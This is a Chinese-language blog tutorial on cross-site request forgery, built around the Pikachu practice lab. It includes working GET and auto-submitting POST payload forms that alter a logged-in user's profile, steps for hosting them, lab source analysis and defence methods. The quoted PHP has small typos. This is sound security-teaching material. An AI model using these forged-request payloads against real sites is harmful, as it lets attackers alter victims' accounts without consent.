CSRF漏洞
CSRF漏洞
/溫馨提示，學習漏洞最重要的是學會如何防護，而不是僅僅停留于攻擊/
什么是csrf
CSRF，全稱Cross-site request forgery，是指跨站請求偽造，通常縮寫為CSRF或者是XSRF。這個漏洞的實現就是通過偽裝利用受信任用戶的訪問權限，來進行篡改，盜取用戶數據，并且可以利用被攻擊用戶的賬號進行蠕蟲的傳播等危險操作。雖然他和xss跨站腳本攻擊聽起來很像，但他和xss非常不同，xss是，想辦法去竊取用戶Cookie，如果用戶Cookie被竊取，攻擊者可以不通過密碼，而直接登錄用戶賬戶，然后csrf是想辦法利用用戶的cookie進行攻擊。----網上有一句話說，如果把xss比作一頭在外狩獵猛虎，那么csrf就是一條隱藏起來的蛇，讓人防不勝防。
CSRF漏洞的成因就是網站的cookie在瀏覽器中不會過期，只要不關閉瀏覽器或者退出登錄，那以后只要是訪問這個都網站，會默認你已經登錄的狀態。而在這個期間，攻擊者發送了構造好的CSRF腳本或包含CSRF腳本的鏈接，可能會執行一些用戶不想做的功能（比如是添加賬號、ajax異步傳輸【通過JS去發送請求，然后獲取信息】。與釣魚網站不同，釣魚網站需要輸入賬號和密碼，而CSRF只需要訪問鏈接或者網頁即可。
csrf原理
圖解過程以及漏洞利用的點
1.用戶使用瀏覽器正常訪問了網站A，并且成功輸入賬號密碼進行登錄;
2.在用戶信息通過驗證后，網站A產生Cookie信息并返回給瀏覽器，此時用戶登錄網站A成功，可以正常發送請求到網站A；
3.用戶在未關閉網站A，直接瀏覽器中訪問網站B
4.網站B頁面中存在一些攻擊性的代碼，返回給用戶C，并發送一個請求訪問網站A
5.瀏覽器接收到請求之后，根據攻擊網站B的請求，在用戶不知情的情況下，攜帶未過期的cookie值直接訪問網站A。但是網站A并不知情是用戶還是網站B的請求，所以會根據用戶C的cookie權限執行這個請求，最后導致網站B中的惡意代碼被執行。
分析：在整個攻擊過程中，需要滿足三點才能造成csrf攻擊的實現
1.用戶登錄了網站A并且產生了本地cookie
2.在用戶沒有退出站點 A 的情況下（也就是 cookie 生效的情況下），訪問了惡意網站B（B）
3.網站A做的防護不能夠抵御攻擊者的請求
csrf的利用
這里就寫一些自己在學習過程中的學習的方法，，簡單的直接省略，，挑中點的寫
csrf分類
-
get型
假設以為vince用戶的需要修改個人信息，我們用bp攔截看一下請求
構造惡意代碼，直接進行攻擊
<html>
<a href="http://127.0.0.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=1111111111111&phonenum=333333&add=chain&email=vince%40pikachu.com&submit=submit"></a>
</html>
-
POST型
post請求和get請求不同的是，我們需要攻擊者自己寫一個利用漏洞的html的代碼，并發給用戶請求這個html文件的鏈接。
比如針對這一關，將包含如下html代碼的文件（假設文件名為jiaoben.html）放入攻擊者的電腦，比如192.168.1.11；
然后在攻擊者電腦上起http服務，比如python3 -m http.server 80
再將鏈接http://192.168.1.11/pikachu-master/vul/scrf/jiaoben.html發送給登錄狀態的用戶
用戶點擊鏈接之后，就可以修改信息（用戶點擊連接后就會執行攻擊者事先準備好的惡意代碼）
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
csrf后臺源碼分析學習
$link=connect();
// 判斷是否登錄，沒有登錄不能訪問
if(!check_csrf_login($link)){
// echo "<script>alert('登錄后才能進入會員中心哦')</script>";
header("location:csrf_post_login.php");
}
代碼段會檢查用戶是否登錄，如果用戶沒有登錄的前提下就進行攻擊，那就會返回登錄界面.
<?php
/*
修改用戶信息的代碼
*/
if(isset($_GET['submit'])){
if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token']){ //這里對token進行驗證
//轉義
$getdata=escape($link, $_GET);
$query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['csrf']['username']}'";
$result=execute($link, $query);
//沒有修改，點擊提交，也算修改成功
if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){
header("location:token_get.php");
}else {
$html1.="<p>修改失敗,請重新登錄</p>";
?
}
}
}
//生成token
set_token();
?
?>
看一下代碼，修改用戶信息時，服務器會比較url中的token字段和session中的token字段，如果相同才能修改用戶信息
mysqli_affected_rows() 函數返回前一次 MySQL 操作（SELECT、INSERT、UPDATE、REPLACE、DELETE）所影響的記錄行數。
//生成一個隨機的token值
function set_token(){
if(isset($_SESSION['token'])){
unset($_SEESSION['token']);} // 銷毀一個seession變量
$_SESSION['token']=str_replace('.','',uniqid(mt_rand(10000,9999),true));
}
set_token()函數對在生成新的token之前會銷毀先前token
uniqid(prefix,more_entropy)函數基于以微秒計的當前時間，生成一個唯一的 ID。 當prefix為空則返回的字符串有 13 個字符串長。如果 more_entropy 參數設置為 true，則是 23 個字符串長。
根據csrf的利用，我們知道csrf 的防護可以從瀏覽器、服務器端進行改進。
1、驗證HTTP Referer字段； 根據 HTTP 協議，在 HTTP 頭中有一個字段叫 Referer，它記錄了該 HTTP 請求的來源地址。在通常情況下，訪問一個安全受限頁面的請求來自于同一個網站。而如果黑客要對銀行網站實施 CSRF 攻擊，他只能在他自己的網站構造請求，當用戶通過黑客的網站發送請求到銀行時，該請求的 Referer 是指向黑客自己的網站。
這種方法的顯而易見的好處就是簡單易行，網站的普通開發人員不需要操心 CSRF 的漏洞，只需要在最后給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。
方法的弊端：
然而，這種方法并非萬無一失。Referer 的值是由瀏覽器提供的，雖然 HTTP 協議上有明確的要求，但是每個瀏覽器對于 Referer 的具體實現可能有差別，并不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法，就是把安全性都依賴于第三方（即瀏覽器）來保障，從理論上來講，這樣并不安全。事實上，對于某些瀏覽器，比如IE6 或 FF2，目前已經有一些方法可以篡改 Referer 值。如果 網站支持IE6 瀏覽器，黑客完全可以把用戶瀏覽器的 Referer 值設為以 bank.example 域名開頭的地址，這樣就可以通過驗證，從而進行 CSRF 攻擊。 即便是使用最新的瀏覽器，黑客無法篡改 Referer 值，這種方法仍然有問題。因為 Referer 值會記錄下用戶的訪問來源，有些用戶認為這樣會侵犯到他們自己的隱私權，特別是有些組織擔心 Referer 值會把組織內網中的某些信息泄露到外網中。因此，用戶自己可以設置瀏覽器使其在發送請求時不再提供 Referer。當他們正常訪問銀行網站時，網站會因為請求沒有 Referer 值而認為是 CSRF 攻擊，拒絕合法用戶的訪問。
2.在請求地址中添加 token 并驗證
CSRF 攻擊之所以能夠成功，是因為黑客可以完全偽造用戶的請求，該請求中所有的用戶驗證信息都是存在于 cookie 中，因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的 cookie 來通過安全驗證。要抵御 CSRF，關鍵在于在請求中放入黑客所不能偽造的信息，并且該信息不存在于 cookie 之中。可以在 HTTP 請求中以參數的形式加入一個隨機產生的 token，并在服務器端建立一個攔截器來驗證這個 token，如果請求中沒有 token 或者 token 內容不正確，則認為可能是 CSRF 攻擊而拒絕該請求。 ? 這種方法要比檢查 Referer 要安全一些，token 可以在用戶登陸后產生并放于 session 之中，然后在每次請求時把 token 從 session 中拿出，與請求中的 token 進行比對，但這種方法的難點在于如何把 token 以參數的形式加入請求。對于 GET 請求，token 將附在請求地址之后，這樣 URL 就變成
方法弊端：
該方法還有一個缺點是難以保證 token 本身的安全。特別是在一些論壇之類支持用戶自己發表內容的網站，黑客可以在上面發布自己個人網站的地址。由于系統也會在這個地址后面加上 token，黑客可以在自己的網站上得到這個 token，并馬上就可以發動 CSRF 攻擊。為了避免這一點，系統可以在添加 token 的時候增加一個判斷，如果這個鏈接是鏈到自己本站的，就在后面添加 token，如果是通向外網則不加。不過，即使這個 csrftoken 不以參數的形式附加在請求之中，黑客的網站也同樣可以通過 Referer 來得到這個 token 值以發動 CSRF 攻擊。這也是一些用戶喜歡手動關閉瀏覽器 Referer 功能的原因。
3.在 HTTP 頭中自定義屬性并驗證
4.輸舊密碼，我們修改密碼有時候需要輸入舊密碼，這種情況下打不出CSRF漏洞。
5.如果存在xss漏洞，token防御將無效
本文來自博客園，作者：Liberty碼農志，轉載請注明原文鏈接：http://www.rzrgm.cn/zhiliu/p/16793128.html
浙公網安備 33010602011771號